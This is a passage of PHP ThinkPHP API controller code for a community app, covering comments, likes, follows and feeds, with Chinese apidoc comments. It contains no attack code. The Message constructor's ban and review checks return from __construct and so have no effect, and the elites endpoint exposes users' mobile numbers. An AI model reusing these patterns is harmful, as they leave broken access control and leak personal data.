\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} article\_id 社区动态ID（必填）

\* @apiParam {String} content 评论内容（必填）

\* @apiSuccess {String} ret 用户发表评论成功

\* @apiError {String} err 用户发表评论失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_ping()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后评论社区动态',

'errcode' => 222,

]);

}

$content = input('param.content', '');

if ($content == '') {

return json([

'err' => '评论内容不可为空',

'errcode' => 201,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

$data['article\_id'] = $article\_id;

$data['content'] = $content;

$data['zan\_num'] = 0;

$data['ping\_xia\_num'] = 0;

$data['create\_time'] = time();

$circle\_article\_ping\_id = Db::name('circle\_article\_ping')

->insertGetId($data);

if ($circle\_article\_ping\_id) {

Db::name('circle\_article')

->where('id', $article\_id)

->setInc('ping\_num');

$content = '用户【' . $this->member['username'] . '】已评论您所发布的动态';

notify($this->memberId, $article['member\_id'], $content, '', '', '', $article\_id);

return json([

'ret' => '用户发表评论成功',

]);

}

} else {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户发表评论失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/circle/article\_ping\_zan 点赞｜取消点赞动态评论

\* @apiName 点赞｜取消点赞动态评论

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} ping\_id 动态评论ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_ping\_zan()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞动态评论',

'errcode' => 222,

]);

}

$ping\_id = input('param.ping\_id', '');

if ($ping\_id == '') {

return json([

'err' => '动态评论ID不可为空',

'errcode' => 201,

]);

} else {

$ping = Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->find();

if (!empty($ping)) {

$data['ping\_id'] = $ping\_id;

$circle\_article\_ping\_zan = Db::name('circle\_article\_ping\_zan')

->where($data)

->find();

if (!empty($circle\_article\_ping\_zan)) {

if ($circle\_article\_ping\_zan['zan'] == 1) {

Db::name('circle\_article\_ping\_zan')

->where($data)

->update([

'zan' => 0,

'create\_time' => time(),

]);

Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->setDec('zan\_num');

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的动态评论';

notify($this->memberId, $ping['member\_id'], $content, '', '', '', $ping['article\_id']);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('circle\_article\_ping\_zan')

->where($data)

->update([

'zan' => 1,

'create\_time' => time(),

]);

Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->setInc('zan\_num');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态评论';

notify($this->memberId, $ping['member\_id'], $content, '', '', '', $ping['article\_id']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['create\_time'] = time();

$circle\_article\_ping\_zan\_id = Db::name('circle\_article\_ping\_zan')

->insertGetId($data);

if ($circle\_article\_ping\_zan\_id) {

Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->setInc('zan\_num');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态评论';

notify($this->memberId, $ping['member\_id'], $content, '', '', '', $ping['article\_id']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该动态评论不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/circle/article\_ping\_xia 追评社区动态

\* @apiName 追评社区动态

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} article\_id 社区动态ID（必填）

\* @apiParam {Integer} ping\_id 动态评论ID（必填）

\* @apiParam {String} content 追评内容（必填）

\* @apiSuccess {String} ret 用户追评成功

\* @apiError {String} err 用户追评失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_ping\_xia()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后追评社区动态',

'errcode' => 222,

]);

}

$content = input('param.content', '');

if ($content == '') {

return json([

'err' => '追评内容不可为空',

'errcode' => 201,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '社区动态ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

$ping\_id = input('param.ping\_id', '');

if ($ping\_id == '') {

return json([

'err' => '动态评论ID不可为空',

'errcode' => 201,

]);

} else {

$ping = Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->find();

if (!empty($ping)) {

$data['article\_id'] = $article\_id;

$data['ping\_id'] = $ping\_id;

$data['content'] = $content;

$data['zan\_num'] = 0;

$data['create\_time'] = time();

$circle\_article\_ping\_xia\_id = Db::name('circle\_article\_ping\_xia')

->insertGetId($data);

if ($circle\_article\_ping\_xia\_id) {

Db::name('circle\_article\_ping')

->where('id', $ping\_id)

->setInc('ping\_xia\_num');

Db::name('circle\_article')

->where('id', $article\_id)

->setInc('ping\_num');

$content = '用户【' . $this->member['username'] . '】已追评您所发布的动态评论';

notify($this->memberId, $ping['member\_id'], $content, '', '', '', $article\_id);

return json([

'ret' => '用户追评成功',

]);

}

} else {

return json([

'err' => '该动态评论不存在',

'errcode' => 211,

]);

}

}

} else {

return json([

'err' => '该社区动态不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户追评失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/circle/article\_ping\_xia\_zan 点赞｜取消点赞动态追评

\* @apiName 点赞｜取消点赞动态追评

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} ping\_xia\_id 动态追评ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function article\_ping\_xia\_zan()

{

if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞动态追评',

'errcode' => 222,

]);

}

$ping\_xia\_id = input('param.ping\_xia\_id', '');

if ($ping\_xia\_id == '') {

return json([

'err' => '动态追评ID不可为空',

'errcode' => 201,

]);

} else {

$ping\_xia = Db::name('circle\_article\_ping\_xia')

->where('id', $ping\_xia\_id)

->find();

if (!empty($ping\_xia)) {

$data['ping\_xia\_id'] = $ping\_xia\_id;

$circle\_article\_ping\_xia\_zan = Db::name('circle\_article\_ping\_xia\_zan')

->where($data)

->find();

if (!empty($circle\_article\_ping\_xia\_zan)) {

if ($circle\_article\_ping\_xia\_zan['zan'] == 1) {

Db::name('circle\_article\_ping\_xia\_zan')

->where($data)

->update([

'zan' => 0,

'create\_time' => time(),

]);

Db::name('circle\_article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setDec('zan\_num');

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的动态追评';

notify($this->memberId, $ping\_xia['member\_id'], $content, '', '', '', $ping\_xia['article\_id']);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('circle\_article\_ping\_xia\_zan')

->where($data)

->update([

'zan' => 1,

'create\_time' => time(),

]);

Db::name('circle\_article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setInc('zan\_num');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态追评';

notify($this->memberId, $ping\_xia['member\_id'], $content, '', '', '', $ping\_xia['article\_id']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['create\_time'] = time();

$circle\_article\_ping\_xia\_zan\_id = Db::name('circle\_article\_ping\_xia\_zan')

->insertGetId($data);

if ($circle\_article\_ping\_xia\_zan\_id) {

Db::name('circle\_article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setInc('zan\_num');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的动态追评';

notify($this->memberId, $ping\_xia['member\_id'], $content, '', '', '', $ping\_xia['article\_id']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该动态追评不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/elites 获取名人堂列表

\* @apiName 获取名人堂列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 名人堂用户列表

\* @apiSuccess {Integer} total 总记录数

\* @apiSuccess {Integer} per\_page 每页显示数量

\* @apiSuccess {Integer} current\_page 当前页码

\* @apiSuccess {List} data 数据集合

\* @apiSuccess {Integer} id 用户ID

\* @apiSuccess {String} nickname 用户昵称

\* @apiSuccess {String} user 用户名

\* @apiSuccess {String} mobile 用户手机号码

\* @apiSuccess {String} img 用户头像URL

\* @apiSuccess {Integer} article\_num 动态数量

\* @apiSuccess {Integer} follow\_num 关注人数

\* @apiSuccess {Integer} follow 当前登录用户已关注该用户（1-是；0-否）

\* @apiError {String} err 错误信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function elites()

{

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 8);

$elites = Db::name('member')

->field('id, nickname, user, mobile, img')

->where('is\_elite', 1)

->order('des', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($elites['data']) > 0) {

foreach ($elites['data'] as $key => $elite) {

$elites['data'][$key]['article\_num'] = Db::name('circle\_article')

->where('member\_id', $elite['id'])

->count('id');

$elites['data'][$key]['article\_num'] += Db::name('article')

->where('uid', $elite['id'])

->count('id');

$elites['data'][$key]['follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $elite['id'])

->count('id');

$elites['data'][$key]['img'] = $elite['img'] ? \_imgUrl() . $elite['img'] : '/public/style/index/member/img/userimg.gif';

$elites['data'][$key]['follow'] = 0;

if ($this->memberId) {

$count = Db::name('member\_guanzhu')

->where('uid', $this->memberId)

->where('gz\_uid', $elite['id'])

->count('id');

if ($count > 0) {

$elites['data'][$key]['follow'] = 1;

}

}

}

} else {

$elites = [];

}

return json($elites);

}

/\*\*

\* @api {get} /api/circle/home 用户社区首页（我的社区 + 社区动态列表分页展示 + 2条评论）

\* @apiName 用户社区首页（我的社区 + 社区动态列表分页展示 + 2条评论）

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 返回数据

\* @apiSuccess {Json} circles 我的社区列表（4条记录）

\* @apiSuccess {Json} articles 社区动态列表（分页展示 + 2条评论）

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页码

\* @apiSuccess {Json} data 数据集合

\* @apiSuccess {List} data.circles 社区数据集合

\* @apiSuccess {String} data.circles.img 社区logo

\* @apiSuccess {String} data.circles.title 社区标题

\* @apiSuccess {String} data.circles.content 社区描述

\* @apiSuccess {Integer} data.circles.article\_num 社区动态数量

\* @apiSuccess {Integer} data.circles.follower\_num 社区关注人数

\* @apiSuccess {List} data.articles 社区动态数据集合

\* @apiSuccess {Array} data.articles.image\_urls 多图URL集合

\* @apiSuccess {Integer} data.articles.zan\_num 动态获得点赞次数

\* @apiSuccess {Integer} data.articles.cai\_num 动态获得点踩次数

\* @apiSuccess {Integer} data.articles.ping\_num 动态评论数量

\* @apiSuccess {Integer} data.articles.share\_num 动态分享次数

\* @apiSuccess {Integer} data.articles.is\_top 动态是否置顶：1-是；0-否

\* @apiSuccess {Integer} data.articles.is\_selected 动态是否加精：1-是；0-否

\* @apiSuccess {String} data.articles.author\_username 动态作者昵称

\* @apiSuccess {String} data.articles.author\_img 动态作者头像URL

\* @apiSuccess {Integer} data.articles.author\_follow\_num 动态作者关注数

\* @apiSuccess {Integer} data.articles.author\_article\_num 动态作者发表文章数目

\* @apiSuccess {Integer} data.articles.zan 当前用户是否点赞该动态：1-是；0-否

\* @apiSuccess {Integer} data.articles.follow 当前用户是否关注该动态作者：1-是；0-否

\* @apiSuccess {List} data.articles.circle 动态所属社区信息

\* @apiSuccess {String} data.articles.circle.title 动态所属社区名称

\* @apiSuccess {String} data.articles.circle.img 动态所属社区头像

\* @apiSuccess {String} data.articles.circle.article\_num 动态所属社区动态数量

\* @apiSuccess {String} data.articles.circle.follower\_num 动态所属社区关注人数

\* @apiSuccess {String} data.articles.circle.follow 当前用户是否该动态所属社区：1-是；0-否

\* @apiSuccess {List} data.articles.pings 动态的两条评论

\* @apiSuccess {String} data.articles.pings.\*.author\_username 该评论作者昵称

\* @apiSuccess {String} data.articles.pings.\*.author\_img 该评论作者头像URL

\*/

public function home()

{

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 8);

$circles = [];

$articles = [];

$followed\_circle\_ids = [];

if ($this->memberId) {

$followed\_circles = Db::name('circle\_member')

->field('circle\_id')

->where('member\_id', $this->memberId)

->where('follow', 1)

->select();

if (count($followed\_circles)) {

foreach ($followed\_circles as $followed\_circle) {

$followed\_circle\_ids[] = $followed\_circle['circle\_id'];

}

}

if (count($followed\_circle\_ids) > 0) {

$circles = Db::name('circle')

->where('id', 'in', $followed\_circle\_ids)

->order('des', 'desc')

->limit(4)

->select();

}

}

if (count($circles) == 0) {

$circles = Db::name('circle')

->order('des', 'desc')

->limit(4)

->select();

}

if (count($circles) > 0) {

foreach ($circles as $key => $circle) {

$followed\_circle\_ids[] = $circle['id'];

$circles[$key]['img'] = $circle['img'] ? \_imgUrl() . $circle['img'] : '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

$circles[$key]['des'] = is\_null($circle['des']) ? 0 : $circle['des'];

$circles[$key]['hide'] = is\_null($circle['hide']) ? 0 : $circle['hide'];

$article\_num = Db::name('circle\_article')

->where('circle\_id', $circle['id'])

->count('id');

$circles[$key]['article\_num'] = $article\_num;

$follower\_num = Db::name('circle\_member')

->where('circle\_id', $circle['id'])

->where('follow', 1)

->count('id');

$circles[$key]['follower\_num'] = $follower\_num;

if ($article\_num != $circle['article\_num'] || $follower\_num != $circle['follower\_num']) {

Db::name('circle')->where('id', $circle['id'])

->update([

'article\_num' => $article\_num,

'follower\_num' => $follower\_num,

]);

}

}

} else {

$circles = [

'total' => 0,

'data' => [],

];

$articles = [

'total' => 0,

'data' => [],

];

}

if (count($followed\_circle\_ids) > 0) {

$articles = Db::name('circle\_article')

->where('circle\_id', 'in', $followed\_circle\_ids)

->order('create\_time', 'desc')

->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($articles['data']) > 0) {

foreach ($articles['data'] as $key => $article) {

if ($article['images'] != '') {

$images = explode(',', $article['images']);

foreach ($images as $image) {

$articles['data'][$key]['image\_urls'][] = \_imgUrl() . $image;

}

}

$articles['data'][$key]['author\_username'] = '';

$articles['data'][$key]['author\_img'] = '';

$articles['data'][$key]['author\_follow\_num'] = 0;

$articles['data'][$key]['author\_article\_num'] = 0;

$articles['data'][$key]['zan'] = 0;

$articles['data'][$key]['follow'] = 0;

/\*$author = Db::name('member')

->where('id', $article['member\_id'])

->find();\*/

$author = \_user($article['member\_id']);

if (!empty($author)) {

$articles['data'][$key]['author\_username'] = $author['username'];

$articles['data'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

$articles['data'][$key]['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] += Db::name('article')

->where('uid', $article['member\_id'])

->count('id');

}

$circle = Db::name('circle')

->where('id', $article['circle\_id'])

->find();

$circle['img'] = $circle['img'] ? \_imgUrl() . $circle['img'] : '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

$circle['follow'] = 0;

if ($this->memberId) {

$follow = Db::name('circle\_member')

->where('circle\_id', $article['circle\_id'])

->where('member\_id', $this->memberId)

->where('follow', 1)

->count('id');

if ($follow > 0) {

$circle['follow'] = 1;

}

$articles['data'][$key]['zan'] = Db::name('circle\_article\_zan')

->where('article\_id', $article['id'])

->where('member\_id', $this->memberId)

->where('zan', 1)

->count('id');

$articles['data'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->where('uid', $this->memberId)

->count('id');

}

$articles['data'][$key]['circle'] = $circle;

$pings = Db::name('circle\_article\_ping')

->where('article\_id', $article['id'])

->order('create\_time', 'desc')

->limit(2)

->select();

if (count($pings) > 0) {

foreach ($pings as $k => $ping) {

$member = \_user($ping['member\_id']);

$pings[$k]['author\_username'] = $member['username'];

$pings[$k]['author\_img'] = $member['img'];

}

}

$articles['data'][$key]['pings'] = $pings;

}

} else {

$articles = [

'total' => 0,

'data' => [],

];

}

} else {

$circles = [

'total' => 0,

'data' => [],

];

$articles = [

'total' => 0,

'data' => [],

];

}

return json([

'circles' => $circles,

'articles' => $articles,

]);

}

/\*\*

\* @api {get} /api/circle/square 用户社区广场（社区动态｜用户动态列表分页展示 + 2条评论）

\* @apiName 用户社区广场（社区动态｜用户动态列表分页展示 + 2条评论）

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} is\_hot 是否为热门：1-是；0-否（非必填）

\* @apiParam {Integer} is\_latest 是否为最新：1-是；0-否（非必填）

\* @apiParam {Integer} type\_id 社区分类ID（非必填）

\* @apiParam {Integer} page 页码

\* @apiParam {Integer} per\_page 每页显示数量

\* @apiSuccess {Json} result 社区动态｜用户动态列表（分页展示 + 2条评论）

\* @apiSuccess {Number} total 总记录数

\* @apiSuccess {Number} per\_page 每页显示数量

\* @apiSuccess {Number} current\_page 当前页码

\* @apiSuccess {Json} data 数据集合

\* @apiSuccess {Array} data.image\_urls 多图URL集合

\* @apiSuccess {Integer} data.zan\_num 动态获得点赞次数

\* @apiSuccess {Integer} data.cai\_num 动态获得点踩次数

\* @apiSuccess {Integer} data.ping\_num 动态评论数量

\* @apiSuccess {Integer} data.share\_num 动态分享次数

\* @apiSuccess {Integer} data.is\_top 动态是否置顶：1-是；0-否

\* @apiSuccess {Integer} data.is\_selected 动态是否加精：1-是；0-否

\* @apiSuccess {String} data.author\_username 动态作者昵称

\* @apiSuccess {String} data.author\_img 动态作者头像URL

\* @apiSuccess {Integer} data.author\_follow\_num 动态作者关注数

\* @apiSuccess {Integer} data.author\_article\_num 动态作者发表文章数目

\* @apiSuccess {Integer} data.zan 当前用户是否点赞该动态：1-是；0-否

\* @apiSuccess {Integer} data.follow 当前用户是否关注该动态作者：1-是；0-否

\* @apiSuccess {List} data.circle 动态所属社区信息

\* @apiSuccess {String} data.circle.title 动态所属社区名称

\* @apiSuccess {String} data.circle.img 动态所属社区头像

\* @apiSuccess {String} data.circle.article\_num 动态所属社区动态数量

\* @apiSuccess {String} data.circle.follower\_num 动态所属社区关注人数

\* @apiSuccess {String} data.circle.follow 当前用户是否该动态所属社区：1-是；0-否

\* @apiSuccess {List} data.pings 动态的两条评论

\* @apiSuccess {String} data.pings.\*.author\_username 该评论作者昵称

\* @apiSuccess {String} data.pings.\*.author\_img 该评论作者头像URL

\*/

public function square()

{

$page = input('param.page', 1);

$per\_page = input('param.per\_page', 8);

$is\_hot = input('param.is\_hot', 0);

$is\_latest = input('param.is\_latest', 0);

$type\_id = input('param.type\_id', '');

$query = Db::name('circle\_article')

->order('create\_time', 'desc');

if ($is\_hot != 0) {

$is\_hot = 1;

$is\_latest = 0;

$type\_id = '';

$query = $query->whereOr('is\_top', 1)

->whereOr('is\_selected', 1);

}

if ($is\_latest != 0) {

$is\_hot = 0;

$is\_latest = 1;

$type\_id = '';

$query = $query->order('create\_time', 'desc')

->order('update\_time', 'desc');

}

if ($type\_id != '') {

$is\_hot = 0;

$is\_latest = 0;

$circles = Db::name('circle')

->field('id')

->where('type\_id', $type\_id)

->select();

if (count($circles) > 0) {

$circle\_ids = [];

foreach ($circles as $circle) {

$circle\_ids[] = $circle['id'];

}

$query = Db::name('circle\_article')

->order('create\_time', 'desc')

->where('circle\_id', 'in', $circle\_ids);

}

}

$articles = $query->paginate($per\_page, false, ['page' => $page,])

->toArray();

if (count($articles['data']) > 0) {

foreach ($articles['data'] as $key => $article) {

if ($article['images'] != '') {

$images = explode(',', $article['images']);

foreach ($images as $image) {

$articles['data'][$key]['image\_urls'][] = \_imgUrl() . $image;

}

}

$articles['data'][$key]['author\_username'] = '';

$articles['data'][$key]['author\_img'] = '';

$articles['data'][$key]['author\_follow\_num'] = 0;

$articles['data'][$key]['author\_article\_num'] = 0;

$articles['data'][$key]['zan'] = 0;

$articles['data'][$key]['follow'] = 0;

/\*$author = Db::name('member')

->where('id', $article['member\_id'])

->find();\*/

$author = \_user($article['member\_id']);

if (!empty($author)) {

$articles['data'][$key]['author\_username'] = $author['username'];

$articles['data'][$key]['author\_img'] = $author['img'] . "?imageView2/1/w/100/h/100";

$articles['data'][$key]['author\_follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] = Db::name('circle\_article')

->where('member\_id', $article['member\_id'])

->count('id');

$articles['data'][$key]['author\_article\_num'] += Db::name('article')

->where('uid', $article['member\_id'])

->count('id');

}

$circle = Db::name('circle')

->where('id', $article['circle\_id'])

->find();

$circle['img'] = $circle['img'] ? \_imgUrl() . $circle['img'] : '/public/style/index/member/img/default\_circle\_logo\_52x52.png';

$circle['follow'] = 0;

if ($this->memberId) {

$follow = Db::name('circle\_member')

->where('circle\_id', $article['circle\_id'])

->where('member\_id', $this->memberId)

->where('follow', 1)

->count('id');

if ($follow > 0) {

$circle['follow'] = 1;

}

$articles['data'][$key]['zan'] = Db::name('circle\_article\_zan')

->where('article\_id', $article['id'])

->where('member\_id', $this->memberId)

->where('zan', 1)

->count('id');

$articles['data'][$key]['follow'] = Db::name('member\_guanzhu')

->where('gz\_uid', $article['member\_id'])

->where('uid', $this->memberId)

->count('id');

}

$articles['data'][$key]['circle'] = $circle;

$pings = Db::name('circle\_article\_ping')

->where('article\_id', $article['id'])

->order('create\_time', 'desc')

->limit(2)

->select();

if (count($pings) > 0) {

foreach ($pings as $k => $ping) {

$member = \_user($ping['member\_id']);

$pings[$k]['author\_username'] = $member['username'];

$pings[$k]['author\_img'] = $member['img'];

}

}

$articles['data'][$key]['pings'] = $pings;

}

}

return json($articles);

}

/\*\*

\* @api {post} /api/circle/follow\_author 关注｜取消关注用户社区动态作者

\* @apiName 关注｜取消关注用户社区动态作者

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {Integer} article\_id 用户社区动态ID（必填）

\* @apiSuccess {String} ret 用户关注动态作者成功

\* @apiSuccess {Integer} follow 标识位：1-已关注；0-已取消关注

\* @apiError {String} err 用户关注动态作者失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function follow\_author()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后关注用户社区动态作者',

'errcode' => 222,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '用户社区动态ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('circle\_article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

$data['gz\_uid'] = $article['member\_id'];

$member\_guanzhu = Db::name('member\_guanzhu')

->where($data)

->find();

if (!empty($member\_guanzhu)) {

Db::name('member\_guanzhu')

->where($data)

->delete();

$content = '用户【' . $this->member['username'] . '】已取消关注您';

notify($this->memberId, $article['member\_id'], $content);

return json([

'ret' => '用户取消关注动态作者成功',

'follow' => 0,

]);

} else {

$data['time'] = time();

$member\_guanzhu\_id = Db::name('member\_guanzhu')

->insertGetId($data);

if ($member\_guanzhu\_id) {

$content = '用户【' . $this->member['username'] . '】已关注您';

notify($this->memberId, $article['member\_id'], $content);

return json([

'ret' => '用户关注动态作者成功',

'follow' => 1,

]);

}

}

} else {

return json([

'err' => '该用户社区动态不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户关注动态作者失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {get} /api/circle/followed\_authors 当前用户关注的动态作者列表

\* @apiName 当前用户关注的动态作者列表

\* @apiGroup 用户社区

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiSuccess {Json} result 动态作者列表

\* @apiSuccess {String} author.username 动态作者昵称

\* @apiSuccess {String} author.img 动态作者头像URL

\* @apiSuccess {Integer} author.follow\_num 动态作者关注数

\* @apiSuccess {Integer} author.article\_num 动态作者发表文章数目

\* @apiError {String} err 用户关注动态作者失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function followed\_authors()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号',

'errcode' => 222,

]);

}

$followed\_authors = Db::name('member\_guanzhu')

->where($data)

->select();

if (count($followed\_authors) > 0) {

foreach ($followed\_authors as $key => $followed\_author) {

$author = \_user($followed\_author['gz\_uid']);

if (!empty($author)) {

$followed\_authors[$key]['author'] = $author;

$followed\_authors[$key]['author']['img'] = $author['img'] . "?imageView2/1/w/100/h/100";

$followed\_authors[$key]['author']['follow\_num'] = Db::name('member\_guanzhu')

->where('gz\_uid', $followed\_author['gz\_uid'])

->count('id');

$followed\_authors[$key]['author']['article\_num'] = Db::name('circle\_article')

->where('member\_id', $followed\_author['gz\_uid'])

->count('id');

$followed\_authors[$key]['author']['article\_num'] += Db::name('article')

->where('uid', $followed\_author['gz\_uid'])

->count('id');

}

}

}

return json($followed\_authors);

}

}

<?php

namespace app\api\controller;

use think\Db;

use think\Request;

class Message extends Common

{

protected $member = false;

protected $memberId = false;

/\*\*

\* 架构函数

\*

\* @param Request $request Request对象

\*

\* @access public

\*/

public function \_\_construct(Request $request = null)

{

parent::\_\_construct($request);

$token = input('param.token', '');

if ($token != '') {

$member\_id = \_decrypt($token);

if ($member\_id) {

$this->memberId = $member\_id;

$member = \_user($member\_id);

if ($member) {

switch ($member['hide']) {

case '0':

$recording = \_records($member['id'], 'API操作,账户被禁止');

if ($recording) {

return json([

'err' => '无法登录，原因是当前账户已被封号',

'errcode' => 223,

]);

}

break;

case '2':

$recording = \_records($member['id'], 'API操作,账户正在审核');

if ($recording) {

return json([

'err' => '当前账户正在审核中，请等待客服处理',

'errcode' => 224,

]);

}

break;

case '3':

$recording = \_records($member['id'], 'API操作，账户审核被拒绝');

if ($recording) {

return json([

'err' => '账户审核被拒绝，拒绝原因：' . $member['hidetent'],

'errcode' => 225,

]);

}

break;

}

} else {

return json([

'err' => '该用户不存在',

'errcode' => 221,

]);

}

$this->member = $member;

}

}

}

/\*\*

\* @api {post} /api/message/create\_type 创建消息分类

\* @apiName 创建消息分类

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

\* @apiParam {String} title 消息分类名称（必填）

\* @apiParam {String} description 消息分类备注（非必填）

\* @apiSuccess {String} ret 消息分类创建成功

\* @apiError {String} err 消息分类创建失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function create\_type()

{

if (!$this->memberId) {

return json([

'err' => '请先登录账号，然后创建消息分类',

'errcode' => 222,

]);

}

$data['title'] = input('param.title', '');

if ($data['title'] == '') {

return json([

'err' => '消息分类名称不可为空',

]);

}

$message\_type = Db::name('message\_type')

->where('title', $data['title'])

->find();

if (!empty($message\_type)) {

return json([

'err' => '同名消息分类已存在，请更换消息分类名称',

]);

}

$data['description'] = input('param.description', '');

$data['create\_time'] = time();

$message\_type\_id = Db::name('message\_type')

->insertGetId($data);

if ($message\_type\_id) {

return json([

'ret' => '消息分类创建成功',

]);

}

return json([

'err' => '消息分类创建失败，请稍后重试',

]);

}

/\*\*

\* @api {get} /api/message/types 获取消息分类列表

\* @apiName 获取消息分类列表

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiSuccess {Json} message\_types 用户消息分类列表

\* @apiSuccess {Integer} id 用户消息分类ID

\* @apiSuccess {String} title 用户消息分类标题

\* @apiSuccess {String} description 用户消息分类备注

\* @apiSuccess {Integer} message\_num 用户消息数量

\*/

public function types()

{

$message\_types = Db::name('message\_type')

->select();

if (count($message\_types) > 0) {

foreach ($message\_types as $key => $message\_type) {

$message\_types[$key]['message\_num'] = Db::name('message')

->where('type\_id', $message\_type['id'])

->count('id');

}

}

return json($message\_types);

}

/\*\*

\* @api {post} /api/message/send 发送消息

\* @apiName 发送消息

\* @apiGroup 用户消息

\* @apiVersion 0.1.0

\* @apiParam {String} token 用户Token（必填）

